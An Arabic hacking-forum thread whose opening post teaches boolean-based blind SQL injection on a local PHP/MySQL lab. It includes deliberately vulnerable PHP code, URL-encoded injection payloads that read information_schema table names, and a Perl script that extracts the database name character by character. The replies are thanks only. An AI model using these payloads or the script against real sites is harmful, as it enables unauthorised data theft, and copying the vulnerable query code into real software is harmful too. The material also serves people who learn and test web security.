حالة الموضوع:
مغلق
  1. 0ne-Tw0

    0ne-Tw0 Developer

    الأنتساب:
    ‏14 يناير 2013
    المشاركات:
    34
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    [​IMG]

    السلام عليكم ورحمة الله وبركاته

    اللهم لا علم لنا الا ماعلمتنا , اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم.

    بسم الله الرحمن الرحيم

    اليوم درسنا راح يتكلم عن نوع من انواع ثغرات الحقن وهو الحقن الاعمى ..

    والحقن الاعمى فيه نوعين

    كود PHP:
    1-Boolean based
    2
    -Time Based
    اليوم راح نتكلم عن النوع الاول وهو Boolean based

    وان شاء الله في الدروس القادمة راح نتكلم عن النوع الثاني ..

    اول شي راح نتكلم عن مسمى الثغرة وليه سميت بهذا الاسم

    سمّيت بهذا الاسم لان , وقت الحقن ماتشوف اي خطا مثل ماهو حاصل في ثغرات Error Based SQL injection وهذا النوع المعروف عند غالب الناس ..

    الان نبرمج كود PHP بسيط عشان نطبق عليه ونفهم اكثر ..

    كود PHP:
    <?php

    include("sqlc.php");


    if(isset(
    $_GET['id']))
    {
    $id=$_GET['id'];
    هذا بالنسبة لملف اللي راح نطبق عليه الشرح وملف

    كود PHP:
    sqlc.php
    هذي اعداداته

    كود PHP:
     <?php


    $dbuser 
    ='root';
    $dbpass ='000123';
    $dbname ="security";
    $host 'localhost';
    error_reporting(0);
    $con mysql_connect($host,$dbuser,$dbpass);

    if (
    mysqli_connect_errno($con))
    {
        echo 
    "Failed to connect to MySQL: " mysqli_connect_error();
    }
    else
    {
        @
    mysql_select_db($dbname,$con) or die ( "Unable to connect to the database: $dbname");
    }
    ?> 
    الان بعد ماجهزنا كل شي نبدا نختبر الصفحة ونشوف كيف ترد علينا : )

    ...

    [​IMG]

    تمام يعني في حالة اعطيناه قيمة صحيحة راح يعرض لنا

    كود PHP:
    IQ-TEAM Rules ... :)
    طيب نجرب نكسر الطلب "query"تبع قاعدة البيانات ونشوف وش النتيجة

    [​IMG]

    طيب الان ماطلع لنا شي : ( ....

    يعني الان كسرنا الطلب تبع قاعدة البيانات بس باقي لنا نتاكد

    الان لابد من ايجاد طريقة تعرض لنا IQ-TEAM Rules لكن بنفس الطلب المكسور .. عارف جبت العيد بس عجزت اشرحها

    الان يوم كسرنا الطلب كتبنا 1' الان لابد من ايجاد طريقة يكون طلبنا مثل ماهو ولكن يعرض لنا الصفحة الصحيحة

    في mysql فيه ثلاث طرق عشان نسوي كومينت او تعليق

    كود PHP:
    #
    /*
    --
    الان نجربهم ولكن بما اننا نحقن من المتصفح فلابد ان تكون مشفره : )

    باخذ مثال على # ونشوف

    [​IMG]

    الان بدال مانكتب كل شوي %23 نقدر نخليها --+ وهي تؤدي نفس الغرض

    الان ثغرات Boolean Based تعتمد على الصح والخطا True and False

    الصح تكون قيمته 1 بمعنى

    كود PHP:
    1=1
    هذي مقارنة صحيحة وفعلا الرقم واحد يساوي الرقم واحد يعني الناتج يكون واحد

    ولكن

    كود PHP:
    1=2
    الناتج يكون صفر لان واحد مايساوي اثنين

    نشوف التطبيق عشان توضح الصورة اكثر

    [​IMG]

    مثل مانشوف لما تكون المقارنة صحيحة راح تظهر الصفحة الصحيحة

    ولكن لو جربنا نحط مقارنة غير صحيحة

    [​IMG]

    تظهر لنا الصحفة الخطا

    ومن هنا نقدر نسأل اسئلة لقاعدة البيانات ونشوف الاجابة اذا كانت صحيحة او لا ..

    قبل مانبدا راح نتكلم عن كم دالة في mysql

    الاولى substr
    الثانية ascii

    الدالة الاولى فايدتها تقسم الجملة وتاخذ ثلاث متغيرات

    كود PHP:
    substr(string,start,length)
    ناخذ مثال عشان توضح اكثر

    [​IMG]

    الطلب تبعنا

    كود PHP:
    select substr(database(),1,8);
    يعني الخانة الاولى خذت اسم قاعدة البيانات والخانة الثانية خذت مركز البداية والخانة الثالثة خذت مركز النهاية

    وبما ان قاعدة البيانات اسمها يتكون من 8 خانات فظهر عندنا اسم قاعدة البيانات

    للي حاب يطلع اكثر على الدالة

    PHP substr() Function

    الدالة الثانية فايدتها تحول لنا القيم الى قيمة اسكي

    يعني مثلا حرف s = 115 مثل ماهو واضح بالجدول التالي

    [​IMG]

    ناخذ مثال

    [​IMG]

    الطلب

    كود PHP:
    select ascii(substr(database(),1,1));
    هنا قلنا لقاعدة البيانات اختار لنا الحرف الاول من اسم قاعدة البيانات الحالية واظهر قيمة الاسكي تبعته

    والناتج طلع 115

    طيب الان نبي نطبق الشي هذا على الموقع

    نجي نسأل قاعدة البيانات

    ونشوف

    اول سؤال

    هل اول حرف من قاعدة البيانات اصغر من 120 بقيمة الاسكي ؟

    نشوف الجواب

    [​IMG]

    الجواب كان True

    طيب هل اول حرف من قاعدة البيانات يساوي 115 بقيمة الاسكي ؟

    نشوف الجواب

    [​IMG]

    الجواب كان True

    الحين عرفنا الحرف الاول نبي نعرف الحرف الثاني

    نفس الطريقة

    نسال قاعدة البيانات

    هل الحرف الثاني من قاعدة البيانات اقل من 120 او من 140 او الرقم اللي انت تختاره

    ولكن بما اننا عارفين اسم قاعدة البيانات فالحرف الثاني قيمته 101

    نشوف الطلب كيف يكون

    [​IMG]

    الجواب كان True

    وهكذا حتى اخر حرف في اسم قاعدة البيانات

    طيب لو حبينا نستخرج اليوزر

    نفس الطريقة ولكن نغير من داتابيس الى يوز

    [​IMG]

    ونفس الطريقة لو بغينا اسماء الجداول

    ولكن هالمرة نرجع لثغرات الحقن الاساسية

    الطلب راح يكون

    كود PHP:
    http://localhost/exploit2/8/?id=1%27%20%20and%20%28ascii%28substr%28%28select%20table_name%20from%20information_schema.tables%20where%20table_schema=database%28%29%20limit%200,1%29,1,1%29%29%29%20=%20101%20--+
    ونشوف اذا صح او خطا

    بما ان الطريقة طويلة ومتعبة فيه اداوت تقوم بنفس العلمية ولكن

    منها sqlmap ولكن حبيت اوضح طريقة عملها


    طيب لو حبينا نخلي الشغلة اتوماتيك

    نشوف بالبيرل وش يصير معنا

    كود بسيط واخلي لكم التجارب والتطوير

    كود PHP:
    #!/usr/bin/perl
    use strict;
    use 
    warnings;
    use 
    LWP::UserAgent;

    my $ua LWP::UserAgent->new;
    my $req "http://localhost/exploit2/8/?id=1";
    my $bres $ua->get($req)->as_string();

    my @pos = (1..10);
    my @char = (1..127);
    foreach 
    my $a (@pos){
    foreach 
    my $b (@char){
    my $sreq "http://localhost/exploit2/8/?id=1'  and (ascii(substr((select database()),$a,1))) = $b --+";
    my $sres $ua->get($sreq)->as_string;

    if (
    $sres =~ m/IQ-TEAM Rules/i){

    print 
    "Found " "Postion $a\t"chr($b) . "\n";
    }

    }
    }
    النتيجة *:"

    [​IMG]

    هذا وصلى الله على سيدنا محمد وعلى آله وصحبه اجمعين

    لاتنسوني من صالح الدعاء

    واسف على الاطالة
     
  2. T H E P U N I S H E R

    T H E P U N I S H E R .:: فريــق الدعم الفني ::. مساعد مشرف

    الأنتساب:
    ‏29 مارس 2012
    المشاركات:
    316
    الإعجابات المتلقاة:
    1,241
    نقاط الجائزة:
    93
    الإقامة:
    Egypt (●̪•)
    رد: ماهوه الحقن الاعمى ؟ وماهي انواعه Blind SQL Injection

    وعليكم السلام

    بارك الله فيك يا غالى

    شرح رائع

    واصل :{2}:​
     
  3. Magic7hearts

    Magic7hearts Developer

    الأنتساب:
    ‏13 ابريل 2012
    المشاركات:
    48
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    مصر
    رد: ماهوه الحقن الاعمى ؟ وماهي انواعه Blind SQL Injection

    وعليكم السلام ورحمة الله وبركاتة
    سلمت الايادي الذهبية اخي الغالي ​
     
  4. Mr.FriezA

    Mr.FriezA V • I • P

    الأنتساب:
    ‏10 مارس 2014
    المشاركات:
    552
    الإعجابات المتلقاة:
    21
    نقاط الجائزة:
    18
    الجنس:
    ذكر
    الإقامة:
    افضل و اطهر بقاع الارض
    رد: ماهوه الحقن الاعمى ؟ وماهي انواعه Blind SQL Injection

    موفق عزيزي شرحك فوق الممتاز ﻻ تحرمنا من جديدك
     
  5. ABOJANA IRAQY

    ABOJANA IRAQY DeveloPer Plus

    الأنتساب:
    ‏10 مايو 2013
    المشاركات:
    125
    الإعجابات المتلقاة:
    59
    نقاط الجائزة:
    28
    رد: ماهوه الحقن الاعمى ؟ وماهي انواعه Blind SQL Injection

    جزاك الله خيرا ورزقك السعادة في الدنيا والآخرة
     
  6. ĸʜɜʟɛɒ

    ĸʜɜʟɛɒ Active DeveloPer

    الأنتساب:
    ‏3 نوفمبر 2012
    المشاركات:
    102
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    الإقامة:
    Gaza
    رد: ماهوه الحقن الاعمى ؟ وماهي انواعه Blind SQL Injection

    ما شاء الله ... ابداع في طرح المواضيع بشرح منسق ومميز جداً​
     
  7. d4rK-h4ck3r

    d4rK-h4ck3r Developer

    الأنتساب:
    ‏16 ديسمبر 2011
    المشاركات:
    38
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    تونس
    رد: ماهوه الحقن الاعمى ؟ وماهي انواعه Blind SQL Injection

    مجهود ممتاز سلمت الأيادي
     
  8. HITLER

    HITLER Developer

    الأنتساب:
    ‏19 يوليو 2012
    المشاركات:
    38
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    8
    الوظيفة:
    سياسي
    الإقامة:
    برلين ـ المانيا
    رد: ماهوه الحقن الاعمى ؟ وماهي انواعه Blind SQL Injection

    الله يعطيك العافيه شرح واضح ومميز
    جزاك الله خير والله يجعلها في ميزان حسناتك​
     
  9. BLaCk HoLe

    BLaCk HoLe Developer

    الأنتساب:
    ‏9 أغسطس 2012
    المشاركات:
    36
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    In K.S.A
    رد: ماهوه الحقن الاعمى ؟ وماهي انواعه Blind SQL Injection

    شرح رائع و مفيد جداً

    ربي يوفقك :{1}:​
     
  10. j0k3R

    j0k3R Developer

    الأنتساب:
    ‏14 مايو 2012
    المشاركات:
    67
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    رد: ماهوه الحقن الاعمى ؟ وماهي انواعه Blind SQL Injection

    يعطيك العافية )5:"
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة